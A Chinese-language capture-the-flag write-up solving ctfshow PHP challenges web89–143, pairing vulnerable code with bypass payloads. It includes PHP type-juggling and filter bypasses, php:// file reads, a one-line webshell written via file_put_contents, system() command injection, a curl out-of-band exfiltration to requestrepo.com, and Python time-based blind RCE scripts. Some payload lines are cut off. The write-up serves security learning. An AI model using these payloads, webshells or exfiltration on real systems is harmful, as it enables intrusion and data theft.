php特性
web89
1 2 3 4 5 6 7 8 9 10 11 12
| include("flag.php"); highlight_file(__FILE__);
if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } }
|
题目要求GET传参一个num变量
当num匹配0-9时,会die
这道题的知识点是
1 2
| intval()函数用于获取变量的整数值 如果成功,则返回整数值。如果失败,则返回 0(零)。
|
但是intval()函数有个漏洞是传参数组,空数组时返回0,非空数组就返回1
所以只需要传参数组
payload:
web90
1 2 3 4 5 6 7 8 9 10 11 12 13
| include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; }else{ echo intval($num,0); } }
|
有一个intval函数用来转换进制
转换数字4476
但是前面的代码有一个对4476的过滤
所以要在4476后面加上特殊符号,防止被过滤掉
payload为
这里还要记一个知识点
1
| intval函数的第一个参数是要转换进制的变量,第二个参数代表进制
|
web91
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| show_source(__FILE__); include('flag.php'); $a=$_GET['cmd']; if(preg_match('/^php$/im', $a)){ if(preg_match('/^php$/i', $a)){ echo 'hacker'; } else{ echo $flag; } } else{ echo 'nonononono'; }
|
代码要求get传参cmd
第一个if要求匹配到php,i表示忽略大小写,m表示多行模式
所以要有一个换行符
第二个if要匹配失败,就会输出flag
所以payload为
但是这题还有别的解法,wp上面写的%0a前面可以不用php
因为有多行模式,所以\n后面依然可以匹配第一个if的php字符
整个字符串也并非纯php,所以还有一种payload为
web92
1 2 3 4 5 6 7 8 9 10 11 12 13
| include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); } }
|
还是两个判断条件
第一个判断num要不等于4476,所以没法直接传参4476
第二个判断intval函数,进制格式给0说明会按照num的进制进行转换,所以可以把num设置成16进制的4476再传参
或者直接用科学计数法也可以绕过
web93
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); } }
|
多过滤了字母a-z,所以16进制用不了了,科学技术法也没了
用八进制可以绕过
web94
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(!strpos($num, "0")){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; }
|
这题多了个strpos函数,匹配num开头的0,匹配到才有flag
strops函数有三个参数,第一个为查找的字符串,题目里为num,第二个为查找的字符,这里是0,还有第三个参数,从哪个位置开始找,这里没有没有给,默认从第一个开始找,下标为0开始
然后有个逻辑关系
以这题为例
如果strops函数找到了0,会返回他的位置索引,从0开始
但是如果返回的索引为0的话,会触发die
所以只要传参的数值里有0且0不在首位就能得到flag
还是用八进制
在前面加上任意字符即可绕过检查
web95
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]|\./i", $num)){ die("no no no!!"); } if(!strpos($num, "0")){ die("no no no!!!"); } if(intval($num,0)===4476){ echo $flag; } }
|
过滤了a-z,payload可以正常用
换成空格%20也能用
web96
1 2 3 4 5 6 7 8 9 10 11
| highlight_file(__FILE__);
if(isset($_GET['u'])){ if($_GET['u']=='flag.php'){ die("no no no"); }else{ highlight_file($_GET['u']); }
}
|
很基础的文件包含,不能直接写flag.php
用filter伪协议就行
看到别的wp还能用
直接读取flag.php 更方便一点
web97
1 2 3 4 5 6 7 8 9
| include("flag.php"); highlight_file(__FILE__); if (isset($_POST['a']) and isset($_POST['b'])) { if ($_POST['a'] != $_POST['b']) if (md5($_POST['a']) === md5($_POST['b'])) echo $flag; else print 'Wrong.'; }
|
一眼md5数组绕过
web98
1 2 3 4 5 6 7
| include("flag.php"); $_GET?$_GET=&$_POST:'flag'; $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
|
这题代码有点非常规,看了网上别的大佬写的
get随便传个参数
POST传参
就能直接出flag
web99
1 2 3 4 5 6 7 8 9 10
| highlight_file(__FILE__); $allow = array(); for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i)); } if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ file_put_contents($_GET['n'], $_POST['content']); }
?>
|
先解读代码,定义一个allow数组,数组初始值36,小于0x36d,每次+1,会随机从1到i循环的值往里面写入
然后GET传参n,判断n是否在allow数组的范围里面,然后创建一个n文件,内容为POST传参的content
content可以写入一句话木马
先get传参?n=1.php
然后POST传参
然后访问1.php,直接用hackbar传参POST一句话木马cmd
ls能看到一个flag36d.php文件
查看这个文件就是flag
在源代码里
web100
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| highlight_file(__FILE__); include("ctfshow.php");
$ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\;/", $v2)){ if(preg_match("/\;/", $v3)){ eval("$v2('ctfshow')$v3"); } } }
|
一开始被搞蒙了,三个数字怎么执行命令,后来网上搜了一下,=的优先级是比and要高的,所以指挥判断v1为数字
v2和v3是可以正常执行命令的,v2在命令执行函数eval的后面,v2传参为system(“ls”),v3要求传参有;所以v3就传参一个;就能成功执行
1
| ?v1=1&v2=system("ls")&v3=;
|
查看到有个flag36d.php,以为是flag,结果是假的
还有一个php文件,ctfshow.php
1
| ?v1=1&v2=system("cat+ctfshow.php")&v3=;
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
|
*/
class ctfshow{ var $dalaoA,$dalaoB,$flag_is_eb34a5e50x2df8bb0x2d48870x2d91390x2d556d36383edd; } <br />
|
乍一看很奇怪
然后有个小提示,把flag字符串里的0x2d换成-
就是真的flag
web101
flag要爆破,没有写
web102
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; file_put_contents($v3,$str); } else{ die('hacker'); }
?>
|
分析代码
要求v4成立,v4成立的前提条件是v2是数字,v3不用判断为数字,这里是一个逻辑陷阱,因为运算符优先级=是大于and的
如果v4成立,那么还剩下两个函数需要操控
call_user_func()用来调用方法或者变量,第一个参数是调用的对象,第二个是被调用对象的参数
file_puts_contents()用来写文件,第一个参数是文件名,第二个参数是需要写进文件的内容
那依次看,v1调用方法,v2是数字字符串,是写进文件的内容,v3是指定文件名,可以用伪协议写入,在传参payload的时候要在前面加上两个数字,用来绕过substr截断
1
| ?v2=005044383959474e6864434171594473&&v3=php:
|
然后相应的POST传参
最后到1.php里面查看源代码,里面就是flag
web103
解法同web102
web104
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| highlight_file(__FILE__); include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2)){ echo $flag; } }
?>
|
比较常规的数组绕过就可以
get传参v1[]=1
post传参v2[]=2
web105
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| highlight_file(__FILE__); include('flag.php'); error_reporting(0); $error='你还想要flag嘛?'; $suces='既然你想要那给你吧!'; foreach($_GET as $key => $value){ if($key==='error'){ die("what are you doing?!"); } $$key=$$value; }foreach($_POST as $key => $value){ if($value==='flag'){ die("what are you doing?!"); } $$key=$$value; } if(!($_POST['flag']==$flag)){ die($error); } echo "your are good".$flag."\n"; die($suces);
?>
|
源代码有两个 foreach 循环,分别处理 GET 和 POST 参数:
对 GET 参数:如果键名是 ‘error’ 就退出,否则执行变量覆盖
key=value
对 POST 参数:如果值是 ‘flag’ 就退出,否则执行变量覆盖
key=value
所以传参时要覆盖变量
初始定义:$suces = ‘既然你想要那给你吧!’(普通字符串,和$flag无关)
最终如果验证通过,会输出$flag和$suces,但验证通过需要$_POST[‘flag’] == $flag,这很难直接做到(因为我们不知道$flag的值)。
但通过GET传suces=flag,会触发变量覆盖:
foreach($_GET as $key => $value)中,$key = ‘suces’,$value = ‘flag’
执行$$key = $$value,即$suces = $flag(把$flag的值赋给$suces)
此时$suces已经变成了$flag的值,成为了我们获取$flag的 “中介”。
所以get传参
POST传参
web106
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php highlight_file(__FILE__); include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2) && $v1!=$v2){ echo $flag; } } ?>
|
常规的md5数组绕过
web107
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| highlight_file(__FILE__); error_reporting(0); include("flag.php");
if(isset($_POST['v1'])){ $v1 = $_POST['v1']; $v3 = $_GET['v3']; parse_str($v1,$v2); if($v2['flag']==md5($v3)){ echo $flag; }
} ?>
|
parse_str函数,把查询字符串解析到变量里
parse_str(v1,v2) 把v1解析成v2
v3的md5值类型要等于v2的flag值
不是全等,所以可以赋值v3为null
这样v1随便赋值都是成立的
web108
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| highlight_file(__FILE__); error_reporting(0); include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) { die('error');
}
if(intval(strrev($_GET['c']))==0x36d){ echo $flag; }
?>
|
有一个ereg匹配,开头必须是字母,然后要传参0x36d,strrev是传参的参数反着来,0x36d转化为十进制数是877,逆反一下就是778
要求开始是字母,就变成a778,在a后加上%00,就能停止ereg的解析,然后拿到flag
web109
1 2 3 4 5 6 7 8 9 10 11 12 13
| highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){ eval("echo new $v1($v2());"); }
}
?>
|
限制了v2执行命令,代码强制要求new 类名() 的形式输出,所以给v1传参php原生类,就可以带出v2
1
| ?v1=Error()&v2=system("ls")
|
web110
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){ die("error v1"); } if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){ die("error v2"); }
eval("echo new $v1($v2());");
}
?>
|
这题对v2有了限制,不能再套用Error,可以用另一个内置类FilesystemIterator
1
| v1=FilesystemIterator&v2=getcwd
|
web111
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| highlight_file(__FILE__); error_reporting(0); include("flag.php");
function getFlag(&$v1,&$v2){ eval("$$v1 = &$$v2;"); var_dump($$v1); }
if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){ die("error v1"); } if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){ die("error v2"); } if(preg_match('/ctfshow/', $v1)){ getFlag($v1,$v2); }
}
?>
|
payload:v1=ctfshow&v2=GLOBALS
这题使用php全局变量解,因为输出时带了两个$,所以v1和v2不需要再加$
给v1传参ctfshow,那$v1的值就是$ctfshow,代码里eval($$v1==&$$v2),替换v1为$ctfshow,此时代码变成eval($v1==&$v2),也就是eval($ctfshow==&$GLOBALS),这里的 &代表$ctfshow和$GLOBALS指向同一个内存地址,此时$ctfshow等同于$GLOBALS,然后代码有个var_dump($$v1),输出所有的变量,其中包含flag
web112
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){ die("hacker!"); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
|
禁用了很多协议,可以直接省去协议查看文件
payload:?file=php://filter/resource=flag.php
或者用其他的过滤器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| 常见的过滤器:
convert.quoted-printable-encode
convert.iconv.*
zlib.deflate
bzip2.compress
string.rot13
string.tolower
convert.base64-decode
|
用php://filter前缀包裹即可

web113
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
|
过滤了filter,上一题的伪协议用不了
这里就用compress.zlib://压缩流伪协议,比较冷门,但是可以记住
payload:?file=compress.zlib://flag.php
web114
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| error_reporting(0); highlight_file(__FILE__); function filter($file){ if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; echo "师傅们居然tql都是非预期 哼!"; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!";
|
禁用compress了,那直接不用编码读
payload:?file=php://filter/resource=flag.php
web115
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| include('flag.php'); highlight_file(__FILE__); error_reporting(0); function filter($num){ $num=str_replace("0x","1",$num); $num=str_replace("0","1",$num); $num=str_replace(".","1",$num); $num=str_replace("e","1",$num); $num=str_replace("+","1",$num); return $num; } $num=$_GET['num']; if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){ if($num=='36'){ echo $flag; }else{ echo "hacker!!"; } }else{ echo "hacker!!!"; }
|
在php中”36”是等于”\x0c36”的,同时trim也不会过滤掉\x0c也就是%0c,提交payload: /?num=%0c36
此时$num不等于36,且为数字,trim以后也不等于36,且’\x0c36’==’36’
web123
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } } ?>
|
由于在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换
payload:CTF_SHOW=&CTF[SHOW.COM=1&fun=echo $flag
web125
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } } ?>
|
没禁用include,用filter伪协议进行文件包含
依旧php特性,_转[,fun传参include$_GET[1],或者$_POST[1]
然后伪协议查看文件
1
| CTF_SHOW=1&CTF[SHOW.COM=1&fun=include$_POST[1]&1=php:
|
base64解码就行
web126
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } }
|
1 2
| get: ?a=1+fl0g=flag_give_me post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
|
web127
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| error_reporting(0); include("flag.php"); highlight_file(__FILE__); $ctf_show = md5($flag); $url = $_SERVER['QUERY_STRING'];
function waf($url){ if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){ return true; }else{ return false; } }
if(waf($url)){ die("嗯哼?"); }else{ extract($_GET); }
if($ctf_show==='ilove36d'){ echo $flag; }
|
waf检查的不是GET传参,所以可以用不合法变量名让php自动转义成下划线_
然后变成ctf_show
payload:ctf%20show=ilove36d
web128
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| error_reporting(0); include("flag.php"); highlight_file(__FILE__);
$f1 = $_GET['f1']; $f2 = $_GET['f2'];
if(check($f1)){ var_dump(call_user_func(call_user_func($f1,$f2))); }else{ echo "嗯哼?"; }
function check($str){ return !preg_match('/[0-9]|[a-z]/i', $str); }
|
gettext("get_defined_vars")会返回get_defined_vars,输出所有变量的信息,包含flag
web129
1 2 3 4 5 6 7 8
| error_reporting(0); highlight_file(__FILE__); if(isset($_GET['f'])){ $f = $_GET['f']; if(stripos($f, 'ctfshow')>0){ echo readfile($f); } }
|
stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
意思要在传参的f里面寻找ctfshow这个字符串第一次出现的位置
readfile()函数可以读取文件并将其写入输出缓冲区。
所以这里可以构造目录,让stripos函数查找f里面的ctfshow
?f=/ctfshow/../../../../../../../../flag.php
web130
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| error_reporting(0); highlight_file(__FILE__); include("flag.php"); if(isset($_POST['f'])){ $f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){ die('bye!'); } if(stripos($f, 'ctfshow') === FALSE){ die('bye!!'); }
echo $flag;
}
|
这题是POST传参,多加了个waf
1 2
| if(preg_match('/.+?ctfshow/is', $f)){ die('bye!');
|
.+?ctfshow非贪婪匹配ctfshow,只匹配一次ctfshow
如果f里面被ctfshow匹配到,就会失败
还有个字符匹配
1 2 3
| if(stripos($f, 'ctfshow') === FALSE){ die('bye!!'); }
|
如果ctfshow不在f里面,也会失败
这里想到的payload是在ctfshow后面加上其他字符,比如
ctfshow-- 确实拿到了flag,但是这题好像有点bug,直接传参ctfshow也能拿到flag
web131
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| error_reporting(0); highlight_file(__FILE__); include("flag.php"); if(isset($_POST['f'])){ $f = (String)$_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){ die('bye!'); } if(stripos($f,'36Dctfshow') === FALSE){ die('bye!!'); }
echo $flag;
}
|
这题利用preg_match的回溯上限来绕过,因为preg_match有个上限是100W,所以构造的payload只要占位大于100万就能绕过去

web132
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){ $username = (String)$_GET['username']; $password = (String)$_GET['password']; $code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){ if($code == 'admin'){ echo $flag; } } }
|
网页robots.txt里面访问/admin有源码
主要是判断分支
code在随机值1到0x36d之间的值,无法达到,所以看后面的username==='admin'
然后传参code=admin就行
1
| /admin/?code=admin&&password=1&&username=admin
|
web133
1 2 3 4 5 6 7 8 9 10
| error_reporting(0); highlight_file(__FILE__);
if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){ eval(substr($F,0,6)); }else{ die("6个字母都还不够呀?!"); } }
|
substr限制字符长度是6,但是eval包裹在外面,所以可以截断命令
?F='$F ;'然后后面还可以执行命令,因为这题没有回显,本来试了一下把命令结果写入文件再访问的,但是好像没有权限,没有写成功
后面就curl外带查看flag了
1
| ?F=`$F%20`;curl%20https:
|
(2) Dashboard - requestrepo.com
在网站里就能看到外带的flag了
web134
1 2 3 4 5 6 7 8 9 10 11
| highlight_file(__FILE__); $key1 = 0; $key2 = 0; if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) { die("nonononono"); } @parse_str($_SERVER['QUERY_STRING']); extract($_POST); if($key1 == '36d' && $key2 == '36d') { die(file_get_contents('flag.php')); }
|
将 POST 请求中的参数提取为局部变量,这就可能会覆盖已有变量的值
所以get方式传参``?_POST[key1]=36d&_POST[key2]=36d`
源代码里就是flag
web135
1 2 3 4 5 6 7 8 9 10
| error_reporting(0); highlight_file(__FILE__);
if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){ eval(substr($F,0,6)); }else{ die("师傅们居然破解了前面的,那就来一个加强版吧"); } }
|
本来以为这题跟前面一样,直接用curl外带,然后发现被过滤了,这题多了很多waf,然后想到之前那题没能试成功的写入文件


访问能够成功,说明成功写入文件,把命令改成cat flag.php再访问就行了
web136
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| error_reporting(0); function check($x){ if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){ die('too young too simple sometimes naive!'); } } if(isset($_GET['c'])){ $c=$_GET['c']; check($c); exec($c); } else{ highlight_file(__FILE__); } ?>
|
exec不显示命令执行的结果,所以可以把命令结果重定向到一个文件里,然后访问这个文件,但是>被过滤,但是可以使用tee命令来实现类似的功能,tee命令可以将命令的输出写入到标准输出的同时写入到一个文件中

访问目标文件会自动下载这个文件,然后把命令改成查看这个flag文件就行
web137
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| error_reporting(0); highlight_file(__FILE__); class ctfshow { function __wakeup(){ die("private class"); } static function getFlag(){ echo file_get_contents("flag.php"); } }
call_user_func($_POST['ctfshow']);
|
static 静态成员
直接post传参ctfshow调用这个成员变量
ctfshow=ctfshow::getFlag
web138
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| error_reporting(0); highlight_file(__FILE__); class ctfshow { function __wakeup(){ die("private class"); } static function getFlag(){ echo file_get_contents("flag.php"); } }
if(strripos($_POST['ctfshow'], ":")>-1){ die("private function"); }
call_user_func($_POST['ctfshow']);
|
多了个waf,不让ctfshow里面有:
转变思路,传参数组
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
第一个数组元素表示类名,第二个数组元素表示类的静态方法名
依然能调用
web139
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php error_reporting(0); function check($x){ if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){ die('too young too simple sometimes naive!'); } } if(isset($_GET['c'])){ $c=$_GET['c']; check($c); exec($c); } else{ highlight_file(__FILE__); } ?>
|
exec,无回显RCE,然后试了跟之前一样的写入文件,没成功
然后看到有官方题解,自己跑没跑成功
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| import requests import time import string str=string.ascii_letters+string.digits result="" for i in range(1,5): key=0 for j in range(1,15): if key==1: break for n in str: payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then;sleep 3;fi".format(i,j,n) url="http://80fd638c-9bd5-426c-aaf6-2dfa46d4345b.challenge.ctf.show/?c="+payload try: requests.get(url,timeout=(2.5,2.5)) except: result=result+n print(result) break if n=='9': key=1 result+=" "
|
这个脚本是爆破目录用的,还有另一个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| import requests import time import string str=string.digits+string.ascii_lowercase+"-" result="" key=0 for j in range(1,45): print(j) if key==1: break for n in str: payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n) url="url?c="+payload try: requests.get(url,timeout=(2.5,2.5)) except: result=result+n print(result) break
|
这里是得到了flag名之后查看flag文件里内容的脚本
web140
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| error_reporting(0); highlight_file(__FILE__); if(isset($_POST['f1']) && isset($_POST['f2'])){ $f1 = (String)$_POST['f1']; $f2 = (String)$_POST['f2']; if(preg_match('/^[a-z0-9]+$/', $f1)){ if(preg_match('/^[a-z0-9]+$/', $f2)){ $code = eval("return $f1($f2());"); if(intval($code) == 'ctfshow'){ echo file_get_contents("flag.php"); } } } }
|
waf说f1和f2只能是小写字母或者数字,code的值是f1包裹f2,所以f1要是一个系统函数,能够执行命令,f2为函数的参数
还有个条件是如果code转化成数字和ctfshow这个字符转化成数字的结果是一样的,就输出flag.php
ctfshow是以字母开头,所以转化成的数字为0,code也要以字母开头
f1=system&f2=phpinfo


web141
1 2 3 4 5 6 7 8 9 10 11 12 13
| highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/^\W+$/', $v3)){ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
|
首先是if条件v1和v2,v1和v2必须为数字,然后v3要有单词字符
这里直接取反,因为取反本身就是单词字符,符合题目要求
这里传参
?v1=1&v2=2&v3=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F); v3是system cat flag.php
实际上传参的时候要在v3前后加上-,因为存在多个字符传参,所以要把字符之间用-合起来
所以最后传参的是
?v1=1&v2=2&v3=-(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)-
web142
1 2 3 4 5 6 7 8 9 10 11
| error_reporting(0); highlight_file(__FILE__); if(isset($_GET['v1'])){ $v1 = (String)$_GET['v1']; if(is_numeric($v1)){ $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d); sleep($d); echo file_get_contents("flag.php"); } }
|
传参v1,要求v1是数字,且强制转换为int型,这里后面一堆乘法,直接赋值0就行了
v1=0
web143
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){ die('get out hacker!'); } else{ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
|
跟之前那个代码很像,但是多了不少waf,取反符被禁了,取反用不了
看到网上大佬的异或脚本,直接跑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <?php $l = ""; $r = ""; // 定义需要进行异或处理的目标字符串,可替换此处的 "system" $argv = str_split("system");
